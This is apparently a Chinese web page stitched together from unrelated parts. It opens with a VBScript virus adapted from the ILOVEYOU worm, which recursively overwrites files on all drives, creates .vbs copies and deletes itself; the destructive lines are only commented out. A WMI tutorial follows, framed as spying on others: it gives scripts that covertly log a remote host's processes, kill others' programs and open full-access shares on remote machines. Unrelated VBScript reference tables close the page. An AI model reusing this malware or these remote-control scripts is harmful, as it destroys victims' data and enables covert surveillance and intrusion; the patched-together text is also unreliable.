說(shuō)明:作者對(duì)某些代碼進(jìn)行了修改。該文件是一個(gè)完整的程序。該文件執(zhí)行之后,會(huì)尋找硬盤上所有滿足條件的文件,對(duì)其進(jìn)行強(qiáng)制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一個(gè)相同文件名但后帶.vbs的文件。因此,請(qǐng)注意設(shè)立好破壞測(cè)試條件,千萬(wàn)不要對(duì)他人進(jìn)行測(cè)試,否則,一切后果自負(fù)。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '讀取病毒體,以備復(fù)制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型
wscript.echo d '彈出窗口,顯示找到盤符
scan(d)
end if
next
lsfile=wscript.scriptfullname '該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒運(yùn)行后自我刪除(本人自加,愛(ài)蟲病毒本身沒(méi)有該代碼)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母
if ext="mp5" then '如果后綴名是mp5,當(dāng)然不存在這種文件,這里可以自己修改,但是注意。請(qǐng)自己建立相應(yīng)后綴名的文件,最好是非正常后綴名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆蓋文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '創(chuàng)建另外一個(gè)病毒文件
' file.delete(true) '刪除原來(lái)文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目錄
scan(subfolder)
next
end sub
Vbs腳本編程簡(jiǎn)明教程補(bǔ)充讀物-初窺WMI
今天,我將給大家介紹個(gè)朋友,它就是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理規(guī)范。從Windows 2000開始,WMI(Windows 管理規(guī)范)就內(nèi)置于操作系統(tǒng)中,并且成為了Windows系統(tǒng)管理的重要組成部分。所以大家很容易就能見到它的,因?yàn)槲覀冎辽僖矐?yīng)該是個(gè)Windows 2000的使用者了。下面我將詳細(xì)介紹它的每個(gè)細(xì)節(jié),讓你從不認(rèn)識(shí)它到喜歡上它。
WMI能做什么?
WMI不僅可以獲取想要的計(jì)算機(jī)數(shù)據(jù),而且還可以用于遠(yuǎn)程控制。遠(yuǎn)程控制計(jì)算機(jī)可是大家都喜歡的東西。很多遠(yuǎn)程監(jiān)視控制類軟件通常的做法是:在遠(yuǎn)程計(jì)算機(jī)上運(yùn)行服務(wù)端后臺(tái)程序,在本地計(jì)算機(jī)上運(yùn)行一個(gè)客戶器端控制程序,通過(guò)這二個(gè)程序的勾結(jié)來(lái)實(shí)現(xiàn)對(duì)計(jì)算機(jī)的遠(yuǎn)程控制。這種作法的缺點(diǎn)是十分明顯的,當(dāng)服務(wù)端程序關(guān)了,這種遠(yuǎn)程監(jiān)控就無(wú)法實(shí)現(xiàn)了,因?yàn)闆](méi)有內(nèi)線了。而WMI實(shí)現(xiàn)的遠(yuǎn)程監(jiān)視和控制完全不需要另外裝什么服務(wù)端的東西,系統(tǒng)默認(rèn)就將WMI服務(wù)給開了。具體說(shuō)來(lái),WMI的本領(lǐng)如下:
1.獲取本地和遠(yuǎn)程計(jì)算機(jī)的硬件軟件信息。2.監(jiān)視本地和遠(yuǎn)程計(jì)算機(jī)的軟件和服務(wù)等運(yùn)行狀況。3.控制本地和遠(yuǎn)程計(jì)算機(jī)的軟件和服務(wù)運(yùn)行。4.高級(jí)應(yīng)用。
如何訪問(wèn)WMI?
當(dāng)我們知道WMI的某些本領(lǐng)后,我們已經(jīng)很想知道如何認(rèn)識(shí)他并利用他了。利用WMI有許多途徑,簡(jiǎn)單說(shuō)來(lái)有三種了:
1.通過(guò)微軟給我們提供的各種工具來(lái)實(shí)現(xiàn)普通查詢和操作。主要包括命令提示符下面的WMIC,還有就是微軟給我們提供的WMI TOOL,大家可以到微軟的網(wǎng)站上免費(fèi)下載,當(dāng)然我也可以給大家免費(fèi)提供。
2.通過(guò)自己編寫腳本來(lái)實(shí)現(xiàn)更靈活操作。要想真正靈活實(shí)用,對(duì)WSH腳本的熟悉是必須的,當(dāng)然如果你不熟悉也沒(méi)有關(guān)系,稍后我會(huì)給大家詳細(xì)解釋的。
3. 通過(guò)編寫我們自己的程序來(lái)訪問(wèn)并操作它。什么語(yǔ)言都行。如果用.NET類程序要簡(jiǎn)單些了,如果用VC等要復(fù)雜些了,起碼我是這么認(rèn)為的。
4.還有個(gè)訪問(wèn)它的方法,就是到它的一個(gè)巢穴。在C:\WINDOWS\system32\wbem目錄中的東西都和它有密切聯(lián)系,有日志和各種工具,在里面你可以找到很多答案的。不過(guò)這些東西一般都不適合我們新手玩了,感覺(jué)有點(diǎn)嚇人。
我們今天的任務(wù)?
今天我們的任務(wù)有五個(gè):
任務(wù)一:利用WMIC列出遠(yuǎn)程計(jì)算機(jī)上的所有進(jìn)程。任務(wù)二:利用WMIC關(guān)閉本地進(jìn)程。任務(wù)三:通過(guò)WMIC把遠(yuǎn)程主機(jī)的進(jìn)程信息保存在一個(gè)網(wǎng)頁(yè)中任務(wù)四:利用腳本實(shí)時(shí)監(jiān)視對(duì)方進(jìn)程任務(wù)五:利用腳本給對(duì)方開放共享
查看和監(jiān)視進(jìn)程,還要把進(jìn)程給殺掉,最后還要給對(duì)方開個(gè)共享,我們這位朋友快把壞事做盡了。明白了我們的任務(wù),我們就可以上路了。這次我們將主要借助WMIC和腳本來(lái)實(shí)現(xiàn)我們的任務(wù),所以我們將主要分為兩大部分來(lái)講解。在五個(gè)任務(wù)的實(shí)戰(zhàn)中我們將更加深入地理解它,沒(méi)有基礎(chǔ)沒(méi)有關(guān)系,我將盡力去解釋所有的所謂的基礎(chǔ),讓大家能很輕松地和這位朋友交流。
第一部分:利用WMIC來(lái)認(rèn)識(shí)WMI
WMIC是Windows Management Instrumentation Commandline的簡(jiǎn)稱,WMIC擴(kuò)展WMI,提供了從命令行接口和批命令腳本執(zhí)行系統(tǒng)管理的支持。為WMI名稱空間提供了一個(gè)強(qiáng)大的、友好的命令行接口。有了WMIC,WMI就顯的平易近人了。
執(zhí)行"WMIC"命令將啟動(dòng)WMIC命令行環(huán)境。第一次執(zhí)行WMIC命令時(shí),Windows首先要安裝WMIC,然后顯示出WMIC的命令行提示符。在WMIC命令行提示符上,命令將以交互的方式執(zhí)行。如果你不知道該如何和它交互,請(qǐng)敲個(gè)"/?",細(xì)細(xì)看完全部的說(shuō)明,你就知道了。WMIC也可以按照非交互的模式運(yùn)行。如果要執(zhí)行某個(gè)單步的任務(wù),或者運(yùn)行批命令中的一系列WMIC命令,非交互模式就很有用。要使用非交互模式,只要在同一個(gè)命令行上啟動(dòng)WMIC并輸入要執(zhí)行的命令就可以了。
1.任務(wù)一:利用WMIC列出遠(yuǎn)程計(jì)算機(jī)上的所有進(jìn)程
這是一個(gè)實(shí)現(xiàn)起來(lái)很簡(jiǎn)單的任務(wù),和你用一個(gè)DOS命令一樣簡(jiǎn)單,因?yàn)槲覀円驖u進(jìn)嘛,所以安排了這么一個(gè)熱身任務(wù)。在命令提示符下敲入下面的命令,我們將看到。
WMIC /node:192.168.1.2 /user:net process
解說(shuō):
1)上面命令中的NODE和USER是全局開關(guān)。如果你不愿意另外輸一次密碼,你也可以用PASSWORD開關(guān),后面寫上密碼就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千萬(wàn)要注意,這里的用戶名和密碼都必須是管理員級(jí)別的,其它的無(wú)效。WMIC提供了大量的全局開關(guān)、別名、動(dòng)詞、命令和豐富的命令行幫助增強(qiáng)用戶接口。全局開關(guān)是用來(lái)配置整個(gè)WMIC會(huì)話的選項(xiàng)。
2)Process是個(gè)別名,執(zhí)行了一個(gè)Win32_process類的WQL查詢,至于說(shuō)是WMI的類是什么東西,感興趣的就自己找資料多多了解,如果你很懶的話,就等我有時(shí)間給你開課講解。別名是用戶和WMI名稱空間一個(gè)簡(jiǎn)化語(yǔ)法的中間層。當(dāng)你指定一個(gè)別名時(shí),動(dòng)詞(Verb)表示要執(zhí)行的動(dòng)作。
3)如果你愿意,你可以在該后面加上個(gè)動(dòng)詞等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),這樣你就看得更清楚了。
小提示:安裝了WMIC的機(jī)器可以連接到任何一臺(tái)安裝了WMI的機(jī)器,被連接的機(jī)器不需要安裝WMIC。
2.任務(wù)二:利用WMIC關(guān)閉本地進(jìn)程
執(zhí)行下面的命令將關(guān)閉正在運(yùn)行的QQ。我比較膽小,所以不敢關(guān)別人的QQ,只能拿我的QQ試驗(yàn)了,如果你的智商還夠用的話,膽子比較大的話,你很快就會(huì)去關(guān)別人的了。
WMIC
process where name="qq.exe" call terminate
解說(shuō):
1)這次我們是用交互式的方法來(lái)執(zhí)行任務(wù),具體界面我就不多說(shuō)了,圖上畫的比我說(shuō)的好多了。
2)Call也是個(gè)動(dòng)詞,這個(gè)動(dòng)詞可是厲害了,控制類的沒(méi)有不用它的,它就是可以調(diào)用各種類的各種方法的大將。這里我們調(diào)用了terminate方法。從字面上你就可以看出是惡狠狠的。
3)Where能夠讓你查詢和篩選。在超級(jí)多的實(shí)例中找到你想要的。實(shí)例就是指每個(gè)類的具體實(shí)現(xiàn)了。前面的例子中看到的各個(gè)進(jìn)程都分別算是WIN32_PROCESS中的一個(gè)實(shí)例。
3.任務(wù)三:通過(guò)WMIC把遠(yuǎn)程主機(jī)的進(jìn)程信息保存在一個(gè)網(wǎng)頁(yè)中
這個(gè)任務(wù)和任務(wù)一中的大致相同,是任務(wù)一的加強(qiáng)。在任務(wù)一中信息以文本的形式顯示出來(lái)了。其實(shí)除了文本形式的輸出之外,WMIC還能夠以其他形式返回命令執(zhí)行結(jié)果,例如XML、HTML或者CSV(逗號(hào)分隔的文本文件),如圖3所示。我們可以敲入下面的命令:
wmic /output:C:.html /node:192.168.1.2 /user:net process list full /format:hform.xsl
輸入密碼 :******
解釋:
1)全局開關(guān)OUTPUT指明將這些信息保存在什么地方。
2)全局開關(guān)FORMAT指明了用什么樣的格式,至于說(shuō)有那些格式可以用,你可以參看C:\WINDOWS\system32\wbem目錄中的*.xsl文件,你甚至不用管它們從哪里來(lái)的,用就是了。挨著看看,一定可以找到你喜歡的。
第二部分:利用腳本來(lái)認(rèn)識(shí)WMI
命令提示符的工具確實(shí)好用,但是卻顯示不出我們是高手,高手都是能利用程序來(lái)實(shí)現(xiàn)目的的。下面我們就開始用腳本來(lái)實(shí)現(xiàn)我們的任務(wù),功能將更加強(qiáng)大,操作將更加靈活。
無(wú)論腳本還是真正意義上的程序,要檢索 WMI 托管資源信息進(jìn)而查詢并利用WMI,都需要遵循以下三個(gè)步驟的。
1.連接到 WMI 服務(wù)。建立一個(gè)到目標(biāo)計(jì)算機(jī)上的 Windows 管理服務(wù)的連接。2.檢索 WMI 托管資源的實(shí)例。主要取決于要執(zhí)行的任務(wù)。3.顯示W(wǎng)MI 某實(shí)例屬性和調(diào)用其方法。
1.任務(wù)四:利用腳本實(shí)時(shí)監(jiān)視對(duì)方進(jìn)程
在任務(wù)一和任務(wù)三中我們都是在查看對(duì)方的進(jìn)程,出來(lái)的結(jié)果對(duì)我們意義不是很大,在這個(gè)任務(wù)中我們要從現(xiàn)在開始每當(dāng)他開一個(gè)任務(wù)我們就察覺(jué)到,并把它記錄下來(lái)。我們要在他開進(jìn)程的那一秒開始報(bào)告并記錄,我們要清楚他所開的程序所在的位置,我們要比他更清楚地知道這些信息。
現(xiàn)在我們就按照前面提到的三個(gè)步驟來(lái)實(shí)現(xiàn)任務(wù)。
首先,我們連接到對(duì)方的WMI。在這里我們首先調(diào)用 VBScript 的中的Createobject()來(lái)得到一個(gè)對(duì)象,然后利用這個(gè)特殊的對(duì)象的方法來(lái)連接到遠(yuǎn)程的計(jì)算機(jī)上。這個(gè)特殊的對(duì)象就是wbemscripting.swbemlocator。
set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
注意其中的strComputer就是你所要連接的計(jì)算機(jī)的名稱或者IP地址,strUser,strPwd當(dāng)然就是用戶名和密碼了,我們說(shuō)過(guò)這個(gè)用戶必須是具有管理員權(quán)限的才可以。root\cimv2是WMI的命名空間,關(guān)于WMI的命名空間,大家可以到"計(jì)算機(jī)管理\WMI控件"中看到,這里面的學(xué)問(wèn)就大了,得慢慢琢磨,為了我們的任務(wù)快速實(shí)現(xiàn),我就不多解釋了。用這種方法連接到WMI,返回一個(gè)對(duì)SWbemServices對(duì)象的引用,一旦有一個(gè)對(duì) SWbemServices對(duì)象的引用。我們就可以進(jìn)行第二個(gè)步驟了。
在第二個(gè)步驟中,我們將得到WMI 托管資源的實(shí)例,我們利用WbemServices中的一個(gè)方法ExecNotificationQuery可以查詢我們所要的類,進(jìn)而可以得到該類中實(shí)例。
Set colMonitoredProcesses = wbemServices. _ ExecNotificationQuery("select * from __instancecreationevent " _ & " within 1 where TargetInstance isa 'Win32_Process'")
注意這里有個(gè)類似于SQL語(yǔ)言的查詢語(yǔ)言,這里叫做WQL語(yǔ)言,懂SQL的一看就明白了,不懂的就在網(wǎng)上找找它的資料,滿天都是。得到的colMonitoredProcesses是所查詢的類的實(shí)例的集合。有了這些我們的第三個(gè)步驟就可以開始了。
在第三個(gè)步驟中,我們將顯示出得到的實(shí)例中的屬性。剛才我們得到的是實(shí)例的集合,在這里我們通過(guò)colMonitoredProcesses.NextEvent來(lái)獲取每一個(gè)具體的實(shí)例,得到每一個(gè)具體的實(shí)例后,我們就可以顯示出他們的屬性,也就是我們想看的東西了。這里我們顯示了CommandLine的屬性值。
到現(xiàn)在你是否有些迷惑了,因?yàn)槟氵€不知道到底WMI里面有那些類,具體類又有哪些屬性,呵呵,沒(méi)有關(guān)系的,用一些工具可以很輕松的得到這些信息。比如系統(tǒng)自帶的wbemtest,在運(yùn)行中敲入這個(gè)程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個(gè)步驟。自己慢慢玩吧,很快你就會(huì)發(fā)現(xiàn)WMI太大了,單是命名空間就有10多個(gè),然后單是我們常用的空間root\CIMV2里面就有近1000個(gè)類,每個(gè)類里面又有好多的屬性,有些類還有好多方法。哈哈,頭暈了吧?沒(méi)關(guān)系,其實(shí)你只需要知道其中的一些就好了。
看到這些估計(jì)你的頭已經(jīng)很大了,但是恭喜你,我們的這個(gè)任務(wù)已經(jīng)完成了,是的,就是這么簡(jiǎn)單,下面我將完整代碼奉獻(xiàn)出來(lái)。
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
到這個(gè)程序的核心了吧?相信你已經(jīng)懂了其中的很多,剩余的部分代碼我稍后解釋。我們先來(lái)感性認(rèn)識(shí)一下,先看它該怎么用吧!把上面的代碼拷貝到記事本中,然后保存為monitor.vbs的文件,然后在命令提示符下輸入:
CSCRIPT monitor.vbs
回車,你就會(huì)看到幫助,下面舉例說(shuō)明這個(gè)腳本的具體用法:
CSCRIPT monitor.vbs 192.168.1.2 user password C:.txt
在命令提示符下敲入上面的命令就OK了,每當(dāng)對(duì)方開一個(gè)程序的時(shí)候,你就可以看到時(shí)間,程序路徑和程序名。如果你沒(méi)有時(shí)間去看這些信息,你還可以等有時(shí)間的時(shí)候到C:.txt看到這些信息。
小知識(shí):
每次使用腳本,都必須敲入CSCRIPT和腳本的后綴名,很麻煩。這是因?yàn)橄到y(tǒng)默認(rèn)的執(zhí)行引擎是WSCRIPT,可以將它改成CSCRIPT。另外一個(gè)讓人不爽的是腳本執(zhí)行后總要顯示微軟的說(shuō)明,好像腳本不是我們寫的一樣。不過(guò)你可以通過(guò)在命令提示符下敲入下面的命令來(lái)解決這個(gè)問(wèn)題:
cscript //nologo //h:cscript //s
這樣你以后再運(yùn)行這些腳本的時(shí)候就不用在敲入CSCRIPT了,也不用在寫入.vbs的后綴名了,就上面的例子來(lái)說(shuō),你可以這樣用:
monitor 192.168.1.2 user password C:.txt
解釋:
1)前面的那幾行,大概就是為了顯示幫助和處理我們?cè)诤竺孑斎氲膮?shù)。應(yīng)用到了WScript.Arguments這個(gè)對(duì)象,利用它我們可以來(lái)獲取并處理腳本的參數(shù)。
2)那個(gè)死循環(huán)是為了讓我們一直監(jiān)視他(她),每當(dāng)他開一個(gè)程序,我們就得到一個(gè)新的實(shí)例,我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當(dāng)我們這個(gè)腳本運(yùn)行后,只有通過(guò)我們?nèi)藶橹兄共拍苤袛啾O(jiān)視,人為中止的方法大家可以用CTRL+C來(lái)完成,也可以用各種野蠻的方法來(lái)中止。
3)在代碼中出現(xiàn)的另外一個(gè)核心對(duì)象就是FileSystemObject,應(yīng)該是大家的老朋友了吧,我這里就不再做解釋了,我們?cè)谶@里應(yīng)用它主要是為了將結(jié)果同時(shí)保存到一個(gè)文件中,我們利用它來(lái)創(chuàng)建或打開一個(gè)文件,將信息追加進(jìn)去。
4)至于那個(gè)NOW,雖然體積很小,但是卻正是它給我們提供了時(shí)間這個(gè)重要的信息。
5)如果你想要監(jiān)視的是自己的計(jì)算機(jī)而不是遠(yuǎn)程的計(jì)算機(jī)(據(jù)我所知,這個(gè)應(yīng)用還是很廣的)。那么請(qǐng)將計(jì)算機(jī)名的參數(shù)寫為一個(gè)小點(diǎn),用戶名和密碼留為空。如下所示:
monitor . "" "" C:.txt
2.任務(wù)五:利用腳本給對(duì)方開放共享
有了任務(wù)四的基礎(chǔ),這次我們就先看代碼吧:
Set colArgs = WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strPath = wscript.arguments(3)
strShareName = wscript.arguments(4)
intMaximumAllowed = 1
strDescription = "Temporary share"
Const SHARED_FOLDER = 0
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
Set objSWbemObject = wbemServices.Get("Win32_Share")
intReturnvalue = objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)
if(intReturnvalue = 0) Then
WScript.Echo "The share have been created successfully"
End If
解說(shuō):
1)我們可以看出來(lái)前面的那幾行是為顯示幫助和處理輸入?yún)?shù)而存在的。
2)緊接著設(shè)置了幾個(gè)變量,為以后做參數(shù)用的。這里我們可以先不理會(huì)它。
3)連接到主機(jī)的WMI,然后就是查詢。前面已經(jīng)說(shuō)的很詳細(xì)了。
4)這次得到實(shí)例集后,我們用了它的一個(gè)方法,也就是這個(gè)方法讓共享成為了可能,聯(lián)系到第二部分的內(nèi)容,我們不難知道第一個(gè)參數(shù)表示要共享的路徑和文件名,第二個(gè)參數(shù)表示共享名,第三個(gè)參數(shù)為0就可以了,第四個(gè)參數(shù)是指可以連接的人數(shù),第五個(gè)參數(shù)是共享描述了,而我們只關(guān)心前面的兩個(gè)參數(shù)。如果手頭有MSDN那就好辦了,到MSDN中可以查到該方法的更詳細(xì)的內(nèi)容。
5)這次我們根據(jù)第四步的返回值來(lái)得到共享是否成功,并給出提示。不同的返回值代表不同的意義。這個(gè)信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表拒絕訪問(wèn),9代表用戶名錯(cuò)誤,25代表主機(jī)名沒(méi)有找到等等。
6)這次我們要注意的是,用這個(gè)腳本來(lái)實(shí)現(xiàn)遠(yuǎn)程文件共享,要求遠(yuǎn)程存在這個(gè)文件,否則無(wú)法共享。當(dāng)然你也可以利用教本創(chuàng)建自己的文件夾,很容易的,自己創(chuàng)建吧。
7)如上腳本創(chuàng)建后的共享是完全共享。就是可以刪除修改文件的。
8)用法舉例:share netp net swswsw C:\dodo marsh
好了,到現(xiàn)在為止,大家應(yīng)該對(duì)這位朋友有些了解了,我的介紹任務(wù)也就告一段落了,如果大家想進(jìn)一步認(rèn)識(shí)它,那就主要靠大家的主動(dòng)性了。這次我們主要通過(guò)WMIC和腳本來(lái)認(rèn)識(shí)它,下次我將帶領(lǐng)大家通過(guò)真正的程序代碼來(lái)認(rèn)識(shí)它,讓它也有個(gè)象Windows一樣漂亮的臉蛋。今天我所提到的估計(jì)只能算是WMI的萬(wàn)分之一,都算不上是冰山一角。剩余的要靠自己來(lái)發(fā)揮了。如果你肯利用你的所學(xué),那么奇跡就會(huì)產(chǎn)生。
當(dāng)然如果想學(xué)好vbs就要查看一些資料:
這里推薦兩個(gè)介紹基礎(chǔ)函數(shù)的地址,然后大家可以多看下別人的代碼,多練習(xí),多寫。
最后,小編想說(shuō):我是一名python開發(fā)工程師,
整理了一套最新的python系統(tǒng)學(xué)習(xí)教程,
想要這些資料的可以關(guān)注私信小編“01”即可(免費(fèi)分享哦)希望能對(duì)你有所幫助
礎(chǔ)
使用VBScript寫文本
使用HTML標(biāo)簽格式化文本
head部分中的函數(shù)
body部分中的腳本
變量
創(chuàng)建一個(gè)變量
在一段文本中插入變量的值
創(chuàng)建數(shù)組
程序
子程序
函數(shù)程序
條件語(yǔ)句
If...then..else 語(yǔ)句
If...then..elseif 語(yǔ)句
Select case 語(yǔ)句
隨機(jī)鏈接
循環(huán)
For..next 循環(huán)
循環(huán)輸出HTML標(biāo)題
For..each 循環(huán)
Do...While 循環(huán)
日期和時(shí)間函數(shù)
顯示日期和時(shí)間
顯示星期
顯示月份
顯示當(dāng)前的月份和星期
倒記秒數(shù)到3000年
向日期增加一個(gè)時(shí)間間隔
格式化日期和時(shí)間
這是一個(gè)日期嗎?
其他內(nèi)建函數(shù)
大寫或小寫字符?
刪除字符串端部的空格
顛倒字符順序
對(duì)一個(gè)數(shù)字進(jìn)行取整數(shù)操作
返回隨機(jī)數(shù)
返回0-99之間的隨機(jī)數(shù)
從一段字符串的左側(cè)或右側(cè)返回指定數(shù)目的字符
替換字符串中的某些字符
從一段字符串返回指定數(shù)目的字符
有內(nèi)建的 VBScript 函數(shù),主要分為以下幾類:
Date/Time 函數(shù)
Conversion 函數(shù)
Format 函數(shù)
String 函數(shù)
其他函數(shù)
Math 函數(shù)
Array 函數(shù)
Date/Time 函數(shù)
函數(shù) | 描述 |
---|---|
CDate | 把有效的日期和時(shí)間表達(dá)式轉(zhuǎn)換為日期(Date)類型。 |
Date | 返回當(dāng)前的系統(tǒng)日期。 |
DateAdd | 返回已添加指定時(shí)間間隔的日期。 |
DateDiff | 返回兩個(gè)日期之間的時(shí)間間隔數(shù)。 |
DatePart | 返回給定日期的指定部分。 |
DateSerial | 返回指定年、月、日的日期。 |
DateValue | 返回日期。 |
Day | 返回代表一月中的一天的數(shù)字(介于并包括 1 到 31 之間)。 |
FormatDateTime | 返回格式化為日期或時(shí)間的表達(dá)式。 |
Hour | 返回代表一天中的小時(shí)的數(shù)字(介于并包括 0 到 23 之間)。 |
IsDate | 返回指示計(jì)算表達(dá)式能否轉(zhuǎn)換為日期的布爾值。 |
Minute | 返回一個(gè)數(shù)字,代表小時(shí)的分鐘(介于并包括 0 到 59 之間)。 |
Month | 返回一個(gè)數(shù)字,代表年的月份(介于并包括 1 到 12 之間)。 |
MonthName | 返回指定月份的名稱。 |
Now | 返回當(dāng)前的系統(tǒng)日期和時(shí)間。 |
Second | 返回一個(gè)數(shù)字,代表分鐘的秒(介于并包括 0 到 59 之間)。 |
Time | 返回當(dāng)前的系統(tǒng)時(shí)間。 |
Timer | 返回自 12:00 AM 以來(lái)的秒數(shù)。 |
TimeSerial | 返回特定小時(shí)、分鐘和秒的時(shí)間。 |
TimeValue | 返回時(shí)間。 |
Weekday | 返回一個(gè)數(shù)字,代表一周的天數(shù)(介于并包括 1 到 7 之間)。 |
WeekdayName | 返回一周中指定的一天的星期名。 |
Year | 返回一個(gè)數(shù)字,代表年份。 |
Conversion 函數(shù) | Top |
函數(shù) | 描述 |
---|---|
Asc | 把字符串中的首字母轉(zhuǎn)換為 ANSI 字符代碼。 |
CBool | 把表達(dá)式轉(zhuǎn)換為布爾(Boolean)類型。 |
CByte | 把表達(dá)式轉(zhuǎn)換為字節(jié)(Byte)類型。 |
CCur | 把表達(dá)式轉(zhuǎn)換為貨幣(Currency)類型。 |
CDate | 把有效的日期和時(shí)間表達(dá)式轉(zhuǎn)換為日期(Date)類型。 |
CDbl | 把表達(dá)式轉(zhuǎn)換為雙精度(Double)類型。 |
Chr | 把指定的 ANSI 字符代碼轉(zhuǎn)換為字符。 |
CInt | 把表達(dá)式轉(zhuǎn)換為整數(shù)(Integer)類型。 |
CLng | 把表達(dá)式轉(zhuǎn)換為長(zhǎng)整型(Long)類型。 |
CSng | 把表達(dá)式轉(zhuǎn)換為單精度(Single)類型。 |
CStr | 把表達(dá)式轉(zhuǎn)換為字符串(String)類型。 |
Hex | 返回指定數(shù)字的十六進(jìn)制值。 |
Oct | 返回指定數(shù)字的八進(jìn)制值。 |
Format 函數(shù) | Top |
函數(shù) | 描述 |
---|---|
FormatCurrency | 返回作為貨幣值進(jìn)行格式化的表達(dá)式。 |
FormatDateTime | 返回作為日期或時(shí)間進(jìn)行格式化的表達(dá)式。 |
FormatNumber | 返回作為數(shù)字進(jìn)行格式化的表達(dá)式。 |
FormatPercent | 返回作為百分?jǐn)?shù)進(jìn)行格式化的表達(dá)式。 |
Math 函數(shù) | Top |
函數(shù) | 描述 |
---|---|
Abs | 返回指定數(shù)字的絕對(duì)值。 |
Atn | 返回指定數(shù)字的反正切。 |
Cos | 返回指定數(shù)字(角度)的余弦。 |
Exp | 返回 e(自然對(duì)數(shù)的底)的冪次方。 |
Hex | 返回指定數(shù)字的十六進(jìn)制值。 |
Int | 返回指定數(shù)字的整數(shù)部分。 |
Fix | 返回指定數(shù)字的整數(shù)部分。 |
Log | 返回指定數(shù)字的自然對(duì)數(shù)。 |
Oct | 返回指定數(shù)字的八進(jìn)制值。 |
Rnd | 返回小于1但大于或等于0的一個(gè)隨機(jī)數(shù)。 |
Sgn | 返回可指示指定數(shù)字的符號(hào)的一個(gè)整數(shù)。 |
Sin | 返回指定數(shù)字(角度)的正弦。 |
Sqr | 返回指定數(shù)字的平方根。 |
Tan | 返回指定數(shù)字(角度)的正切。 |
Array 函數(shù) | Top |
函數(shù) | 描述 |
---|---|
Array | 返回一個(gè)包含數(shù)組的變量。 |
Filter | 返回下標(biāo)從零開始的數(shù)組,其中包含基于特定過(guò)濾條件的字符串?dāng)?shù)組的子集。 |
IsArray | 返回一個(gè)指示指定的變量是否為數(shù)組的布爾值。 |
Join | 返回一個(gè)由數(shù)組中若干子字符串組成的字符串。 |
LBound | 返回指示數(shù)組維數(shù)的最小下標(biāo)。 |
Split | 返回下標(biāo)從零開始的一維數(shù)組,包含指定數(shù)量的子字符串。 |
UBound | 返回指示數(shù)組維數(shù)的最大下標(biāo)。 |
String 函數(shù) | Top |
函數(shù) | 描述 |
---|---|
InStr | 返回字符串在另一字符串中首次出現(xiàn)的位置。搜索從字符串的第一個(gè)字符開始。 |
InStrRev | 返回字符串在另一字符串中首次出現(xiàn)的位置。搜索從字符串的最末字符開始。 |
LCase | 把指定字符串轉(zhuǎn)換為小寫。 |
Left | 從字符串的左側(cè)返回指定數(shù)量的字符。 |
Len | 返回字符串中的字符數(shù)量。 |
LTrim | 刪除字符串左側(cè)的空格。 |
RTrim | 刪除字符串右側(cè)的空格。 |
Trim | 刪除字符串左側(cè)和右側(cè)的空格。 |
Mid | 從字符串中返回指定數(shù)量的字符。 |
Replace | 使用另一個(gè)字符串替換字符串的指定部分指定的次數(shù)。 |
Right | 從字符串的右側(cè)返回指定數(shù)量的字符。 |
Space | 返回由指定數(shù)量的空格組成的字符串。 |
StrComp | 比較兩個(gè)字符串,返回代表比較結(jié)果的一個(gè)值。 |
String | 返回包含指定長(zhǎng)度的重復(fù)字符的字符串。 |
StrReverse | 反轉(zhuǎn)字符串。 |
UCase | 把指定的字符串轉(zhuǎn)換為大寫。 |
其他函數(shù) | Top |
函數(shù) | 描述 |
---|---|
CreateObject | 創(chuàng)建指定類型的對(duì)象。 |
Eval | 計(jì)算表達(dá)式,并返回結(jié)果。 |
GetLocale | 返回當(dāng)前的 locale ID。 |
GetObject | 返回對(duì)文件中 automation 對(duì)象的引用。 |
GetRef | 允許您把 VBScript 子程序連接到頁(yè)面上的一個(gè) DHTML 事件。 |
InputBox | 顯示對(duì)話框,用戶可在其中輸入文本,并/或點(diǎn)擊按鈕,然后返回內(nèi)容。 |
IsEmpty | 返回一個(gè)布爾值,指示指定的變量是否已被初始化。 |
IsNull | 返回一個(gè)布爾值,指示指定的表達(dá)式是否包含無(wú)效數(shù)據(jù)(Null)。 |
